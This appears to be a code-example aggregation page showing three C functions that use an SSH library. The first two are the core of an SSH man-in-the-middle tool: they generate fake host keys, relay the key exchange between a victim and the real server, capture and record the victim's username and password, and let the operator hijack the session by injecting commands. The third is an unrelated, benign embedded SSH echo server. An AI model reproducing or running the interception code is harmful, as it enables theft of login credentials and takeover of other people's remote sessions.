Esempio n. 1
0
void
mitm_init(u_short lport, u_long ip, u_short rport)
{
	int i = 1;

	if (pipe(sig_pipe) == -1)
		err(1, "pipe");
	
	if ((mitm_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		err(1, "socket");
	
	if (setsockopt(mitm_fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
		err(1, "setsockopt");
	
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family = AF_INET;
	ssin.sin_addr.s_addr = INADDR_ANY;
	ssin.sin_port = htons(lport);
	
	if (bind(mitm_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1)
		err(1, "bind");
	
	if (listen(mitm_fd, 3) == -1)
		err(1, "listen");
	
	ssin.sin_addr.s_addr = ip;
	ssin.sin_port = htons(rport);
	
	SSH_init();
	
	ssh_client_ctx = SSH_CTX_new();
	ssh_client_ctx->hostkey = RSA_generate_key(1024, 35, NULL, NULL);
	ssh_client_ctx->servkey = RSA_generate_key(768, 35, NULL, NULL);

	if (ssh_client_ctx->hostkey == NULL ||
	    ssh_client_ctx->servkey == NULL) {
		errx(1, "RSA key generation failed");
	}
}
Esempio n. 2
0
void
mitm_child(void)
{
	u_char buf[SSH_MAX_PKTLEN];
	char userpass[1024];
	fd_set fds;
	int i, pass_done, hijack_done;
	
	if (Opt_debug)
		warnx("new connection from %s.%d",
		      inet_ntoa(csin.sin_addr), ntohs(csin.sin_port));
	
	if (fcntl(client_fd, F_SETFL, 0) == -1)
		err(1, "fcntl");

	/* Connect to real server. */
	if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
		err(1, "socket");
	
	if (connect(server_fd, (struct sockaddr *)&ssin, sizeof(ssin)) == -1)
		err(1, "connect");

	/* Relay version strings. */
	if ((i = read(server_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n')
		errx(1, "bad version string from server");

	if (write(client_fd, buf, i) != i)
		err(1, "write");
	
	if ((i = read(client_fd, buf, sizeof(buf))) <= 0 || buf[i - 1] != '\n')
		errx(1, "bad version string from client");

	if (write(server_fd, buf, i) != i)
		err(1, "write");
	
	/* Perform server key exchange. */	
	if ((ssh_server_ctx = SSH_CTX_new()) == NULL ||
	    (ssh_server = SSH_new(ssh_server_ctx)) == NULL)
		err(1, "malloc");
	
	SSH_set_fd(ssh_server, server_fd);
	
	if (SSH_connect(ssh_server) == -1)
		errx(1, "server key exchange failed");
	
	/* Perform client key exchange. */
	if ((ssh_client = SSH_new(ssh_client_ctx)) == NULL)
		err(1, "malloc");
	
	SSH_set_fd(ssh_client, client_fd);
	
	if (SSH_accept(ssh_client) == -1)
		errx(1, "client key exchange failed");

	/* Relay username. */
	if ((i = SSH_recv(ssh_client, buf, sizeof(buf))) <= 0 ||
	    buf[0] != SSH_CMSG_USER)
		errx(1, "couldn't get username");

	userpass[0] = '\0';
	ssh_strlcat(userpass, sizeof(userpass), buf + 1, i - 1);
	strlcat(userpass, "\n", sizeof(userpass));
	
	if (SSH_send(ssh_server, buf, i) != i)
		errx(1, "couldn't relay username");
	
	pass_done = hijack_done = 0;
	
	/* Relay packets. */
	for (;;) {
		FD_ZERO(&fds);
		FD_SET(server_fd, &fds);
		i = server_fd;
		
		if (Opt_interact) {
			FD_SET(STDIN_FILENO, &fds);
		}		
		if (!hijack_done) {
			FD_SET(client_fd, &fds);
			i = MAX(client_fd, i);
		}
		if (select(i + 1, &fds, 0, 0, 0) == -1) {
			if (errno != EINTR)
				break;
		}
		if (FD_ISSET(client_fd, &fds)) {
			i = sizeof(buf);
			if ((i = SSH_recv(ssh_client, buf, i)) <= 0)
				break;

			if (!pass_done) {
				if (buf[0] == SSH_CMSG_AUTH_PASSWORD) {
					ssh_strlcat(userpass, sizeof(userpass),
						    buf + 1, i - 1);
					strlcat(userpass, "\n",
						sizeof(userpass));
				}
				else {
					pass_done = 1;
					record(csin.sin_addr.s_addr,
					       ssin.sin_addr.s_addr,
					       IPPROTO_TCP,
					       ntohs(csin.sin_port),
					       ntohs(ssin.sin_port), "ssh",
					       userpass, strlen(userpass));
				}
			}			    
			if (SSH_send(ssh_server, buf, i) != i)
				break;
		}
		else if (FD_ISSET(server_fd, &fds)) {
			i = sizeof(buf);
			if ((i = SSH_recv(ssh_server, buf, i)) <= 0)
				break;

			if (Opt_interact) {
				if (buf[0] == SSH_SMSG_STDOUT_DATA &&
				    write(STDOUT_FILENO, buf + 5, i - 5) <= 0) {
					break;
				}
				else if (buf[0] == SSH_SMSG_STDERR_DATA &&
					 write(STDOUT_FILENO, buf + 5, i - 5) <= 0) {
					break;
				}
				else if (buf[0] == SSH_SMSG_EXITSTATUS ||
					 buf[0] == SSH_MSG_DISCONNECT) {
					warnx("connection closed");
					break;
				}
			}
			if (!hijack_done) {
				if (SSH_send(ssh_client, buf, i) != i)
					break;
			}
		}
		else if (FD_ISSET(STDIN_FILENO, &fds)) {
			i = sizeof(buf) - 1;
			if ((i = read(STDIN_FILENO, buf + 5, i - 5)) <= 0)
				break;
			
			*(u_int32_t *)(buf + 1) = htonl(i);
			buf[0] = SSH_CMSG_STDIN_DATA;
			i += 5;
			
			if (SSH_send(ssh_server, buf, i) != i)
				break;

			/* Let the real client hang on connection hijack. */
			if (!hijack_done) {
				fprintf(stderr, "[connection hijacked]\n");
				hijack_done = 1;
			}
		}
		else err(1, "select");
	}
	SSH_close(ssh_server);
	SSH_close(ssh_client);
}
Esempio n. 3
0
/*
 *  ======== tcpHandler ========
 *  Creates new Task to handle new TCP connections.
 */
Void dtask_tcp_echo(UArg arg0, UArg arg1)
{
    int                status;
    int                clientfd;
    int                server;
    struct sockaddr_in localAddr;
    struct sockaddr_in clientAddr;
    int                optval;
    int                optlen = sizeof(optval);
    socklen_t          addrlen = sizeof(clientAddr);
    Task_Handle        taskHandle;
    Task_Params        taskParams;
    Error_Block        eb;
    SSH_CTX            *ctx;
    SSH                *ssh;

    /* Allocate memory */
    ctx = SSH_CTX_new();

    /* Load DSA Keys in ctx */
    if (SSH_CTX_load_keys(ctx) < 0) {
        System_printf("Error: keys load failed.\n");
        goto ABORT;
    }

    server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (server == -1) {
        System_printf("Error: socket not created.\n");
        goto ABORT;
    }

    memset(&localAddr, 0, sizeof(localAddr));
    localAddr.sin_family = AF_INET;
    localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
    localAddr.sin_port = htons(arg0);

    status = bind(server, (struct sockaddr *)&localAddr, sizeof(localAddr));
    if (status == -1) {
        System_printf("Error: bind failed.\n");
        goto ABORT;
    }

    status = listen(server, NUMTCPWORKERS);
    if (status == -1) {
        System_printf("Error: listen failed.\n");
        goto ABORT;
    }

    optval = 1;
    if (setsockopt(server, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) {
        System_printf("Error: setsockopt failed\n");
        goto ABORT;
    }

    /* TCP no push */
    if (setsockopt(server, IPPROTO_TCP, TCP_NOPUSH, &optval, optlen ) < 0) {
        System_printf("Error: setsockopt failed\n");
        goto ABORT;
    }

    while ((clientfd =
                accept(server, (struct sockaddr *)&clientAddr, &addrlen)) != -1) {

        /* Only 1 active session */
        if (ctx->actSe > 0) {
            close(clientfd);
            continue;
        }

        ctx->actSe = 1;

        /* Init the Error_Block */
        Error_init(&eb);
        ssh = SSH_new(ctx);
        if (ssh == NULL) {
            System_printf("Error: SSH_new failed.\n");
            close(clientfd);
            continue;
        }

        SSH_set_fd(ssh, clientfd);

        /* Initialize the defaults and set the parameters. */
        Task_Params_init(&taskParams);
        taskParams.arg0 = (UArg)ssh;
        taskParams.stackSize = TCPWORKERSTACKSIZE;
        taskHandle = Task_create((Task_FuncPtr)tcpWorker, &taskParams, &eb);
        if (taskHandle == NULL) {
            System_printf("Error: Failed to create new Task\n");
            close(clientfd);
        }

        /* addrlen is a value-result param, must reset for next accept call */
        addrlen = sizeof(clientAddr);

        /* get client ip address */
        struct sockaddr_in *s = (struct sockaddr_in *)&clientAddr;
        inet_ntop(AF_INET, &s->sin_addr, ssh->in_addr, sizeof(ssh->in_addr));

        System_flush();
    }

    System_printf("Error: accept failed.\n");
    System_flush();
ABORT:
    if (server > 0) {
        close(server);
    }
    exitApp(ctx);
}